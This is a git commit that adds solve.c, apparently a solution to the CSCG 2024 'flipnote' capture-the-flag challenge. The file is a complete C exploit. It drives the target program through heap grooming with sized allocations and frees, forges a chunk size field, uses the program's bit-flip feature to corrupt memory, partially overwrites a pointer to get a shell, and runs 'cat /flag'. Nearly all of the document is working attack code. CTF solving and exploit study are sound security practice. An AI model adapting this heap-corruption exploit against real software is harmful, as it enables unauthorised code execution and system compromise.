diff options
| author | Louis Burda <quent.burda@gmail.com> | 2024-04-28 16:43:43 +0200 |
|---|---|---|
| committer | Louis Burda <quent.burda@gmail.com> | 2024-04-28 16:43:43 +0200 |
| commit | 6e891da3bf95b2d68d605cbd07afbd32557c6420 (patch) | |
| tree | f9e3a00e3791f622ffd94792bb9dca0e0325044f /solve/solve.c | |
| parent | 56ae4f33c8a4b9baf54e309528fc80f68f90350f (diff) | |
| download | cscg2024-flipnote-master.tar.gz cscg2024-flipnote-master.zip | |
Diffstat (limited to 'solve/solve.c')
| -rw-r--r-- | solve/solve.c | 206 |
1 files changed, 206 insertions, 0 deletions
diff --git a/solve/solve.c b/solve/solve.c new file mode 100644 index 0000000..02b7984 --- /dev/null +++ b/solve/solve.c @@ -0,0 +1,206 @@ +#include <stdio.h> +#include <signal.h> +#include <assert.h> +#include <stdint.h> +#include <fcntl.h> +#include <unistd.h> +#include <pty.h> +#include <string.h> +#include <stdlib.h> + +char * +readuntil(FILE *io, const char *needle) +{ + size_t n = 0; + char *line = NULL; + ssize_t size; + while ((size = getdelim(&line, &n, '\n', io)) > 0) { + if (needle && strstr(line, needle)) + return line; + } + abort(); +} + +char * +readuntilc(FILE *io, char c) +{ + char *line = NULL; + size_t size = 0; + if (getdelim(&line, &size, c, io) <= 0) + abort(); + return line; +} + +void +writeline(FILE *io, const char *line) +{ + size_t size; + for (size = 0; line[size] != '\n'; size++); + fwrite(line, 1, size + 1, io); +} + +unsigned +do_allocv(FILE *ior, FILE *iow, const char *buf) +{ + writeline(iow, "a\n"); + free(readuntilc(ior, ':')); + writeline(iow, buf); + free(readuntilc(ior, ':')); + char *line = readuntilc(ior, '\n'); + char *tok = strrchr(line, ' '); + unsigned v = strtoul(tok, NULL, 0); + free(line); + return v; +} + +int +do_alloc(FILE *ior, FILE *iow, size_t size) +{ + char *buf = malloc(size + 1); + for (size_t i = 0; i < size; i++) + buf[i] = 'A'; + buf[size] = '\n'; + int res = do_allocv(ior, iow, buf); + free(buf); + return res; +} + +void +do_free(FILE *ior, FILE *iow, unsigned index) +{ + char buf[256]; + writeline(iow, "r\n"); + free(readuntilc(ior, ':')); + snprintf(buf, 256, "%u\n", index); + writeline(iow, buf); +} + +void +do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset) +{ + char buf[256]; + writeline(iow, "f\n"); + free(readuntilc(ior, ':')); + snprintf(buf, 256, "%u\n", index); + writeline(iow, buf); + free(readuntilc(ior, ':')); + snprintf(buf, 256, "%u\n", offset); + writeline(iow, buf); +} + +void +spawn(const char *path, FILE **in, FILE **out) +{ + int inp[2]; + int outp[2]; + if (pipe(inp)) abort(); + if (pipe(outp)) abort(); + + pid_t pid = fork(); + if (pid < 0) abort(); + if (!pid) { + dup2(inp[1], 1); + close(inp[0]); + dup2(outp[0], 0); + close(outp[1]); + system(path); + abort(); + } + + *in = fdopen(inp[0], "r"); + setbuf(*in, NULL); + *out = fdopen(outp[1], "w"); + setbuf(*out, NULL); +} + +int +main(int argc, const char **argv) +{ + char *iobuf; + size_t iosize; + + FILE *ior = NULL, *iow = NULL; + spawn(argv[1], &ior, &iow); + if (!ior || !iow) abort(); + + setvbuf(ior, NULL, 0, _IONBF); + signal(SIGCHLD, exit); + signal(SIGPIPE, exit); + + free(readuntil(ior, "╰────────────────────────────────────────────────────╯")); + + unsigned b = do_alloc(ior, iow, 0x76); + unsigned c = do_alloc(ior, iow, 0x76); + unsigned d = do_alloc(ior, iow, 0x76); + + unsigned _a = do_alloc(ior, iow, 0x1dfffe); + unsigned _b = do_alloc(ior, iow, 0x1dfffe); + unsigned _c = do_alloc(ior, iow, 0xefffe); + unsigned _d = do_alloc(ior, iow, 0x77ffe); + unsigned _e = do_alloc(ior, iow, 0x3bffe); + unsigned _f = do_alloc(ior, iow, 0x3bffe); + + unsigned a = do_alloc(ior, iow, 0x3bffe); + do_free(ior, iow, a); + + do_free(ior, iow, b); + + char *line = malloc(0xefffe + 1); + memset(line, 'A', 0xefffe); + line[0xefffe] = '\n'; + *(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001; + assert(b == do_allocv(ior, iow, line)); + free(line); + + do_free(ior, iow, a); + + do_free(ior, iow, c); + + do_flip(ior, iow, c, 23); + + do_alloc(ior, iow, 0x76); + + char buf[256]; + + for (size_t i = 0; i < 0x40; i++) + buf[i] = 'A'; + buf[0x40] = '\n'; + writeline(iow, buf); + readuntilc(ior, ':'); + for (size_t i = 0; i < 0x19; i++) + buf[i] = 'X'; + buf[0x19] = '\n'; + writeline(iow, buf); + line = readuntilc(ior, '\n'); + char *tok = strrchr(line, ' '); + a = strtoul(tok, NULL, 0); + free(line); + + for (size_t i = 0; i < 0x3e; i++) + buf[i] = 'E'; + buf[0x3e] = '\n'; + writeline(iow, buf); + readuntilc(ior, ':'); + snprintf(buf, 256, "%i%*s", a, 100, ""); + buf[0x3c] = '\n'; + writeline(iow, buf); + readuntilc(ior, ':'); + for (size_t i = 0; i < 0x18; i++) + buf[i] = 'X'; + buf[0x18] = 0x70; + buf[0x19] = 0x5d; + buf[0x1a] = 0x9f; + buf[0x1b] = '\n'; + writeline(iow, buf); + + readuntilc(ior, '>'); + writeline(iow, "cat /flag \n"); + readuntilc(ior, '>'); + + for (size_t i = 0; i < 0x81; i++) + buf[i] = '!'; + buf[0x81] = '\n'; + writeline(iow, buf); + + sleep(1); +} |
